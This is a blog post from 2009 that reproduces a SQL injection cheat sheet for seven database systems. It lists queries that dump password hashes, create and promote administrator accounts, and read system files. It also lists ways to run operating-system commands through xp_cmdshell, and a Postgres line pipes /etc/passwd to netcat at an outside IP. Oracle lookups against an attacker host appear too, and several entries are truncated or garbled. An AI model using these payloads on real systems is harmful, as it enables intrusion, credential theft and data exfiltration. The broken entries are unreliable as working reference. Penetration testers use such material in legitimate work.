SQL Cheat Sheet
by d0ntcry on Nov.22, 2009, under Tutorial
MSSQL
| Version | SELECT @@version | 
| Comments | SELECT 1 — comment SELECT /*comment*/1 | 
| Current User | SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID | 
| List Users | SELECT name FROM master..syslogins | 
| List Password Hashes | SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 | 
| Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. | 
| List Privileges | Impossible? | 
| List DBA Accounts | TODO SELECT SELECT is_srvrolemember(’sysadmin’, ’sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. | 
| Current Database | SELECT DB_NAME() | 
| List Databases | SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … | 
| List Columns | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT | 
| List Tables | SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT | 
| Find Tables From Column Name | – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name | 
| Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row | 
| Select Nth Char | SELECT substring(‘abcd’, 3, 1) — returns c | 
| Bitwise AND | SELECT 6 & 2 — returns 2 SELECT 6 & 1 — returns 0 | 
| ASCII Value -> Char | SELECT char(0×41) — returns A | 
| Char -> ASCII Value | SELECT ascii(‘A’) – returns 65 | 
| Casting | SELECT CAST(‘1′ as int); SELECT CAST(1 as char) | 
| String Concatenation | SELECT ‘A’ + ‘B’ – returns AB | 
| If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 | 
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 | 
| Avoiding Quotes | SELECT char(65)+char(66) — returns AB | 
| Time Delay | WAITFOR DELAY ‘0:0:5′ — pause for 5 seconds | 
| Make DNS Requests | declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\\’ + @host + ‘\c$\boot.ini”’); — nonpriv, works on 2000 declare @host varchar(800); select – NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. – Also check out theDNS tunnel feature of sqlninja | 
| Command Execution | EXEC xp_cmdshell ‘net user’; — priv On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: EXEC sp_configure ’show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp_configure ‘xp_cmdshell’, 1; — priv RECONFIGURE; — priv | 
| Local File Access | CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:\boot.ini’; DROP TABLE mydata; | 
| Hostname, IP Address | SELECT HOST_NAME() | 
| Create Users | EXEC sp_addlogin ‘user’, ‘pass’; — priv | 
| Drop Users | EXEC sp_droplogin ‘user’; — priv | 
| Make User DBA | EXEC master.dbo.sp_addsrvrolemember ‘user’, ’sysadmin; — priv | 
| Location of DB files | TODO | 
| Default/System Databases | northwind model msdb pubs tempdb | 
Oracle
| Version | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; | 
| Comments | SELECT 1 FROM dual — comment – | 
| Current User | SELECT user FROM dual | 
| List Users | SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv | 
| List Password Hashes | SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g | 
| Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. | 
| List Privileges | SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; | 
| List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles | 
| Current Database | SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; | 
| List Databases | SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status). | 
| List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; | 
| List Tables | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; | 
| Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case | 
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) | 
| Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ | 
| Bitwise AND | SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0 | 
| ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A | 
| Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 | 
| Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST(‘1′ AS int) FROM dual; | 
| String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB | 
| If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements | 
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 | 
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB | 
| Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(‘10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay | 
| Make DNS Requests | SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; | 
| Command Execution | Java can be used to execute commands if it’s installed. ExtProc can sometimes be used too, though it normally failed for me.  | 
| Local File Access | UTL_FILE can sometimes be used.  Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’; Java can be used to read and write files if it’s installed (it is not available in Oracle Express). | 
| Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(‘10.0.0.1′) FROM dual; — gets hostnames | 
| Location of DB files | SELECT name FROM V$DATAFILE; | 
| Default/System Databases | SYSTEM SYSAUX | 
MySQL
| Version | SELECT @@version | 
| Comments | SELECT 1; #comment SELECT /*comment*/1; | 
| Current User | SELECT user(); SELECT system_user(); | 
| List Users | SELECT user FROM mysql.user; — priv | 
| List Password Hashes | SELECT host, user, password FROM mysql.user; — priv | 
| Password Cracker | John the Ripper will crack MySQL password hashes. | 
| List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs SELECT SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns | 
| List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’; SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv | 
| Current Database | SELECT database() | 
| List Databases | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv | 
| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | 
| List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | 
| Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ | 
| Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 | 
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c | 
| Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 | 
| ASCII Value -> Char | SELECT char(65); # returns A | 
| Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 | 
| Casting | SELECT cast(‘1′ AS unsigned integer); SELECT cast(‘123′ AS char); | 
| String Concatenation | SELECT CONCAT(‘A’,'B’); #returns AB SELECT CONCAT(‘A’,'B’,'C’); # returns ABC | 
| If Statement | SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ | 
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A | 
| Avoiding Quotes | SELECT 0×414243; # returns ABC | 
| Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 | 
| Make DNS Requests | Impossible? | 
| Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. | 
| Local File Access | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system | 
| Hostname, IP Address | Impossible? | 
| Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv | 
| Delete Users | DROP USER test1; — priv | 
| Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv | 
| Location of DB files | SELECT @@datadir; | 
| Default/System Databases | information_schema (>= mysql 5.0) mysql | 
Postgres
| Version | SELECT version() | 
| Comments | SELECT 1; –comment SELECT /*comment*/1; | 
| Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); | 
| List Users | SELECT usename FROM pg_user | 
| List Password Hashes | SELECT usename, passwd FROM pg_shadow — priv | 
| Password Cracker | MDCrack can crack PostgreSQL’s MD5-based passwords. | 
| List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user | 
| List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE | 
| Current Database | SELECT current_database() | 
| List Databases | SELECT datname FROM pg_database | 
| List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) | 
| List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) | 
| Find Tables From Column Name | If you want to list all the table names that contain a column LIKE ‘%password%’: SELECT | 
| Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; | 
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); — returns c | 
| Bitwise AND | SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0 | 
| ASCII Value -> Char | SELECT chr(65); | 
| Char -> ASCII Value | SELECT ascii(‘A’); | 
| Casting | SELECT CAST(1 as varchar); SELECT CAST(‘1′ as int); | 
| String Concatenation | SELECT ‘A’ || ‘B’; — returnsAB | 
| If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. | 
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A | 
| Avoiding Quotes | SELECT CHR(65)||CHR(66); — returns AB | 
| Time Delay | SELECT pg_sleep(10); — postgres 8.2+ only CREATE | 
| Make DNS Requests | Generally not possible in postgres.  However if contrib/dblink is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink(‘host=put.your.hostname.here user=someuser dbname=somedb’, ‘SELECT version()’) RETURNS (result TEXT); Alternatively, | 
| Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ’system’ LANGUAGE ‘C’ STRICT; — priv SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user | 
| Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest; Write to a file: CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES (”); COPY – priv user can also read/write files by mapping libc functions | 
| Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection) | 
| Create Users | CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time | 
| Drop Users | DROP USER test1; — priv | 
| Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv | 
| Location of DB files | SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv | 
| Default/System Databases | template0 template1 | 
Ingres
| Version | select dbmsinfo(‘_version’); | 
| Comments | SELECT 123; — comment select 123; /* comment */ | 
| Current User | select dbmsinfo(’session_user’); select dbmsinfo(’system_user’); | 
| List Users | First connect to iidbdb, then: select name, password from iiuser; | 
| Create Users | create user testuser with password = ‘testuser’;– priv | 
| List Password Hashes | First connect to iidbdb, then: select name, password from iiuser; | 
| List Privileges | select dbmsinfo(‘db_admin’); select dbmsinfo(‘create_table’); select dbmsinfo(‘create_procedure’); select dbmsinfo(’security_priv’); select dbmsinfo(’select_syscat’); select dbmsinfo(‘db_privileges’); select dbmsinfo(‘current_priv_mask’); | 
| List DBA Accounts | TODO | 
| Current Database | select dbmsinfo(‘database’); | 
| List Databases | TODO | 
| List Columns | select column_name, column_datatype, table_name, table_owner from iicolumns; | 
| List Tables | select table_name, table_owner from iitables; select relid, relowner, relloc from iirelation; select relid, relowner, relloc from iirelation where relowner != ‘$ingres’; | 
| Find Tables From Column Name | TODO | 
| Select Nth Row | Astoundingly, this doesn’t seem to be possible!  This is as close as you can get: select top 10 blah from table; select first 10 blah form table; | 
| Select Nth Char | select substr(‘abc’, 2, 1); — returns ‘b’ | 
| Bitwise AND | The function “bit_and” exists, but seems hard to use.  Here’s an example of ANDing 3 and 5 together. The result is a “byte” type with value \001: select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1); | 
| ASCII Value -> Char | TODO | 
| Char -> ASCII Value | TODO (The “ascii” function exists, but doesn’t seem to do what I’d expect.) | 
| Casting | select cast(123 as varchar); select cast(‘123′ as integer); | 
| String Concatenation | select ‘abc’ || ‘def’; | 
| If Statement | TODO | 
| Case Statement | TODO | 
| Avoiding Quotes | TODO | 
| Time Delay | ??? See Heavy Queries article for some ideas. | 
| Make DNS Requests | TODO | 
| Command Execution | TODO | 
| Local File Access | TODO | 
| Hostname, IP Address | TODO | 
| Location of DB files | TODO | 
| Default/System Databases | TODO | 
| Installing Locally | The Ingres database can be downloaded for free from http://esd.ingres.com/ A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832 | 
| Database Client | TODO There is a client called “sql” which can be used for local connections (at least) in the database server package above. | 
| Logging in from command line | $ su –  ingres $ sql iidbdb * select dbmsinfo(‘_version’); \go | 
| Identifying on the network | TODO | 
DB2
| Version | select versionnumber, version_timestamp from sysibm.sysversions; | 
| Comments | select blah from foo; — comment like this | 
| Current User | select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1; select system_user from sysibm.sysdummy1; | 
| List Users | N/A (I think DB2 uses OS-level user accounts for authentication.) Database authorities (like roles, I think) can be listed like this: select grantee from syscat.dbauth; | 
| List Password Hashes | N/A (I think DB2 uses OS-level user accounts for authentication.) | 
| List Privileges | select * from syscat.tabauth; — privs on tables select * from syscat.dbauth where grantee = current user; select * from syscat.tabauth where grantee = current user; | 
| List DBA Accounts | TODO | 
| Current Database | select current server from sysibm.sysdummy1; | 
| List Databases | SELECT schemaname FROM syscat.schemata; | 
| List Columns | select name, tbname, coltype from sysibm.syscolumns; | 
| List Tables | select name from sysibm.systables; | 
| Find Tables From Column Name | TODO | 
| Select Nth Row | select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only; | 
| Select Nth Char | SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1; — returns b | 
| Bitwise AND | This page seems to indicate that DB2 has no support for bitwise operators! | 
| ASCII Value -> Char | select chr(65) from sysibm.sysdummy1; — returns ‘A’ | 
| Char -> ASCII Value | select ascii(‘A’) from sysibm.sysdummy1; — returns 65 | 
| Casting | SELECT cast(‘123′ as integer) FROM sysibm.sysdummy1; SELECT cast(1 as char) FROM sysibm.sysdummy1; | 
| String Concatenation | SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’ select ‘a’ || ‘b’ from sysibm.sysdummy1; — returns ‘ab’ | 
| If Statement | TODO | 
| Case Statement | TODO | 
| Avoiding Quotes | TODO | 
| Time Delay | ???See Heavy Queries article for some ideas. | 
| Make DNS Requests | TODO | 
| Command Execution | TODO | 
| Local File Access | TODO | 
| Hostname, IP Address | TODO | 
| Location of DB files | TODO | 
| Default/System Databases | TODO | 
Informix
| Version | SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ’server-type’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1; SELECT | 
| Comments | select 1 FROM systables WHERE tabid = 1; — comment | 
| Current User | SELECT USER FROM systables WHERE tabid = 1; select CURRENT_ROLE FROM systables WHERE tabid = 1; | 
| List Users | select username, usertype, password from sysusers; | 
| List Password Hashes | TODO | 
| List Privileges | select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users select procname, owner, grantor, grantee | 
| List DBA Accounts | TODO | 
| Current Database | SELECT DBSERVERNAME FROM systables where tabid = 1; — server name | 
| List Databases | select name, owner from sysdatabases; | 
| List Columns | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; | 
| List Tables | select tabname, owner FROM systables; select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid; | 
| List Stored Procedures | select procname, owner FROM sysprocedures; | 
| Find Tables From Column Name | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’; | 
| Select Nth Row | select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row | 
| Select Nth Char | SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’ | 
| Bitwise AND | select bitand(6, 1) from systables where tabid = 1; — returns 0 select bitand(6, 2) from systables where tabid = 1; — returns 2 | 
| ASCII Value -> Char | TODO | 
| Char -> ASCII Value | select ascii(‘A’) from systables where tabid = 1; | 
| Casting | select cast(‘123′ as integer) from systables where tabid = 1; select cast(1 as char) from systables where tabid = 1; | 
| String Concatenation | SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’ SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’ | 
| String Length | SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables; | 
| If Statement | TODO | 
| Case Statement | select tabid, case when tabid>10 then “High” else ‘Low’ end from systables; | 
| Avoiding Quotes | TODO | 
| Time Delay | TODO | 
| Make DNS Requests | TODO | 
| Command Execution | TODO | 
| Local File Access | TODO | 
| Hostname, IP Address | SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname | 
| Location of DB files | TODO | 
| Default/System Databases | These are the system databases: sysmaster sysadmin* sysuser* sysutils* * = don’t seem to contain anything / don’t allow reading | 
| Installing Locally | You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows. | 
| Database Client | There’s a database client SDK available, but I couldn’t get the demo client working. I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers (“emerge dev-java/jdbc-informix” on Gentoo). | 
| Logging in from command line | If you get local admin rights on a Windows box and have a GUI logon: 
 The set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50 set INFORMIXSERVER=testservername set ONCONFIG=ONCONFIG.testservername set set set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp set CLIENT_LOCALE=EN_US.CP1252 set DB_LOCALE=EN_US.8859-1 set SERVER_LOCALE=EN_US.CP1252 set DBLANG=EN_US.CP1252 mode con codepage select=1252 | 
| Identifying on the network | My default installation listened on two TCP ports: 9088 and 9099. When I created a new “server name”, this listened on 1526/TCP by default. Nmap 4.76 didn’t identify these ports as Informix: $ sudo nmap -sS -sV 10.0.0.1 -p- -v –version-all … 1526/tcp open pdap-np? 9088/tcp open unknown 9089/tcp open unknown … TODO How would we identify Informix listening on the network? | 


0 komentar
Posting Komentar